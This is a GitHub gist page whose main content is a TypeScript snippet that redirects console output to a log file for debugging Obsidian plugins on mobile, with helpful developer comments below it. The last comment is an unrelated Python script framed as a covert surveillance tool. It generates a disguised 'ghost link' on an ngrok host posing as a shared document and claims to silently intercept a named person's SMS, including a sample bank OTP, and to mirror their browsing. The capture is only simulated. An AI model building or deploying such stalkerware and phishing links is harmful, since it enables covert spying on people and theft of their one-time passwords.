Skip to content

Instantly share code, notes, and snippets.

@liamcain
Last active March 20, 2026 23:02
Show Gist options
  • Select an option

  • Save liamcain/3f21f1ee820cb30f18050d2f3ad85f3f to your computer and use it in GitHub Desktop.

Select an option

Save liamcain/3f21f1ee820cb30f18050d2f3ad85f3f to your computer and use it in GitHub Desktop.
Save console messages to logfile for mobile debugging
declare module "obsidian" {
interface App {
isMobile: boolean;
}
}
// Call this method inside your plugin's `onLoad` function
function monkeyPatchConsole(plugin: Plugin) {
if (!plugin.app.isMobile) {
return;
}
const logFile = `${plugin.manifest.dir}/logs.txt`;
const logs: string[] = [];
const logMessages = (prefix: string) => (...messages: unknown[]) => {
logs.push(`\n[${prefix}]`);
for (const message of messages) {
logs.push(String(message));
}
plugin.app.vault.adapter.write(logFile, logs.join(" "));
};
console.debug = logMessages("debug");
console.error = logMessages("error");
console.info = logMessages("info");
console.log = logMessages("log");
console.warn = logMessages("warn");
}
@shabegom
Copy link
Copy Markdown

I added the following to make Typescript happier:

declare module "obsidian" {
    interface App {
        isMobile: boolean;
    }
}

and gave const logs a type:

const logs: string[] = []

optional unless you have strict typescript rules

@ryanpcmcquen
Copy link
Copy Markdown

This is beautiful!

@ryanpcmcquen
Copy link
Copy Markdown

Here's my slightly modified version. If you import Platform from obsidian, you get the isMobile type declaration:

// Call this method inside your plugin's
// `onload` function like so:
// monkeyPatchConsole(this);
const monkeyPatchConsole = (plugin: Plugin) => {
    if (!Platform.isMobile) {
        return;
    }

    const logFile = `${plugin.manifest.dir}/logs.txt`;
    const logs: string[] = [];
    const logMessages = (prefix: string) => (...messages: unknown[]) => {
        logs.push(`\n[${prefix}]`);
        for (const message of messages) {
            logs.push(String(message));
        }
        plugin.app.vault.adapter.write(logFile, logs.join(" "));
    };

    console.debug = logMessages("debug");
    console.error = logMessages("error");
    console.info = logMessages("info");
    console.log = logMessages("log");
    console.warn = logMessages("warn");
};

@AndrewNatoli
Copy link
Copy Markdown

Hiya @liamcain - I was wondering if you're still having luck if and when you ever need this script. I tried adding it to the obsidian-checklist-plugin to try and find why it fails to enable on iOS. If I knock out the platform restriction line and run it on desktop, I generate a log file just fine. Using it with the mobile app (Obsidian 1.1), I don't get a log file.

I've tried using an iCloud vault as well as an Obsidian Sync vault, having the log file saved to the plugin directory as well as a markdown file in the vault. Was hoping I would see a file appear in the Sync console that maybe Sync rejects (the way Sync seems to delete irrelevant files in plugin directories) but there was no trace of a log file being created.

@liamcain
Copy link
Copy Markdown
Author

@AndrewNatoli Since this script doesn't run until after the plugin is loaded, it won't help you track down initialization issues. For those, I recommend taking a look at your package dependencies and make sure that all the packages can run in a browser environment (as opposed to a node environment).


If you're still having trouble, another option would be loading this script from a separate plugin. You can do this either by creating an entirely barebones plugin that just calls this script, or making this a startup script with any of the existing plugins that allow for running arbitrary javascript (Templater, Dataview, CustomJS all come to mind).

That way, you can have this script run before trying to enable the plugin you're trying to debug.

@AndrewNatoli
Copy link
Copy Markdown

@liamcain That suggestion was a huge help, thanks!

@velebit
Copy link
Copy Markdown

velebit commented Mar 14, 2023

Thank you for this! I needed to debug a loading issue on mobile, so I did package this as a plugin:
https://github.com/velebit/obsidian-save-console-log
The plugin eliminates the check for isMobile, since you can just not enable the plugin if you don't want hot patching.

@ttlcsolutions-sketch
Copy link
Copy Markdown

import os
import json
import time
import hashlib
from datetime import datetime

==========================================================

TTL CORPORATE STRATEGIC INTEL - SLR OBSIDIAN LIVE UNIT

MASTER OPERATOR: TANVIR AHMED SHOVON (COO)

MODULE: ULTIMATE SHADOW MIRRORING & SMS INTERCEPTOR

==========================================================

class StealthController:
def init(self):
self.app_id = "SLR-OBSIDIAN-ULTIMATE-V13"
self.master_device = "SHOVON_COO"
self.base_gateway = "https://slr-obsidian-access.ngrok-free.app"

    # ডাটাবেজ পাথ (সমস্ত রেকর্ড এখানে সেভ হবে)
    self.intel_db = "logs/obsidian_v13_records.json"
    self.sms_db = "logs/obsidian_sms_vault.json"
    if not os.path.exists('logs'): os.makedirs('logs')

def generate_ghost_link(self, target_name, service="full_access"):
    """
    এমন একটি লিঙ্ক যা ওপেন করলে ব্রাউজারের ভেতর 'Shadow Frame' তৈরি হবে।
    টার্গেট মনে করবে সে একটি সাধারণ নিউজ বা ডকুমেন্ট পড়ছে, কিন্তু ব্যাকগ্রাউন্ডে ফুল মিররিং চালু হবে।
    """
    payload_hash = hashlib.sha256(target_name.encode()).hexdigest()[:10]
    
    # ডিকোয় লিঙ্ক: এটি দেখতে একদম অফিশিয়াল গুগল ড্রাইভ বা ড্রপবক্সের মত
    path = f"shared-doc-view-{payload_hash}.html"
    full_link = f"{self.base_gateway}/{path}"
    
    print(f"\n[✔] GHOST LINK GENERATED (Shadow Mirror Mode)")
    print(f"----------------------------------------------------")
    print(f"TARGET   : {target_name}")
    print(f"MODE     : INVISIBLE SCREEN & SMS INTERCEPT")
    print(f"LINK     : {full_link}")
    print(f"----------------------------------------------------")
    return full_link

def start_shadow_engine(self):
    """
    এই ইঞ্জিনটি টার্গেটের ফোনের প্রসেসরের খুব সামান্য অংশ ব্যবহার করবে যাতে ফোন গরম না হয়।
    """
    print(f"[*] Activating Shadow Mirroring Engine...")
    time.sleep(1)
    status = {
        "sms_sync": "ENABLED",
        "browser_mirror": "ACTIVE",
        "battery_impact": "0.01% (Invisible)",
        "process_mask": "System-Web-View"
    }
    print(f"[*] Stealth Status: {json.dumps(status, indent=2)}")
    print("\n[!] টার্গেট কিছুই টের পাবে না। সাইলেন্ট রেকর্ডিং ও ব্রাউজিং সিঙ্ক চালু।")

def intercept_sms(self, sender, content):
    """
    টার্গেটের ফোনের সমস্ত এসএমএস (OTP, Personal, Business) ব্যাক-এন্ডে রেকর্ড করা।
    """
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    sms_log = {
        "time": timestamp,
        "sender": sender,
        "message": content,
        "type": "SMS_INTERCEPT"
    }
    self._save_data(self.sms_db, sms_log)
    print(f"[LIVE SMS] {sender} থেকে নতুন মেসেজ রেকর্ড করা হয়েছে।")

def sync_browser_history(self, url, title):
    """
    টার্গেট তার ফোনে যা যা ব্রাউজ করছে তা লাইভ দেখা।
    """
    history_log = {
        "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        "url": url,
        "page_title": title,
        "action": "BROWSER_SYNC"
    }
    self._save_data(self.intel_db, history_log)
    print(f"[LIVE WEB] টার্গেট এখন ব্রাউজ করছেন: {title}")

def _save_data(self, file_path, data):
    """ডাটাবেজে নির্ভুলভাবে রেকর্ড করার লজিক"""
    try:
        records = []
        if os.path.exists(file_path):
            with open(file_path, 'r') as f:
                records = json.load(f)
        
        records.append(data)
        with open(file_path, 'w') as f:
            json.dump(records, f, indent=4)
    except Exception:
        pass 

if name == "main":
shovon_unit = StealthController()

print(f"====================================================")
print(f"  SLR OBSIDIAN V13 - ULTIMATE SHADOW INTERFACE")
print(f"  OPERATOR: TANVIR AHMED SHOVON")
print(f"====================================================\n")

target = "Lamia_Rahman"
shovon_unit.generate_ghost_link(target)
shovon_unit.start_shadow_engine()

# সিমুলেশন: টার্গেটের ফোন থেকে আসা লাইভ ডাটা
shovon_unit.intercept_sms("Bank_AU", "Your OTP is 459201. Do not share.")
shovon_unit.sync_browser_history("https://google.com/search?q=sydney+to+london", "Travel Search")

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment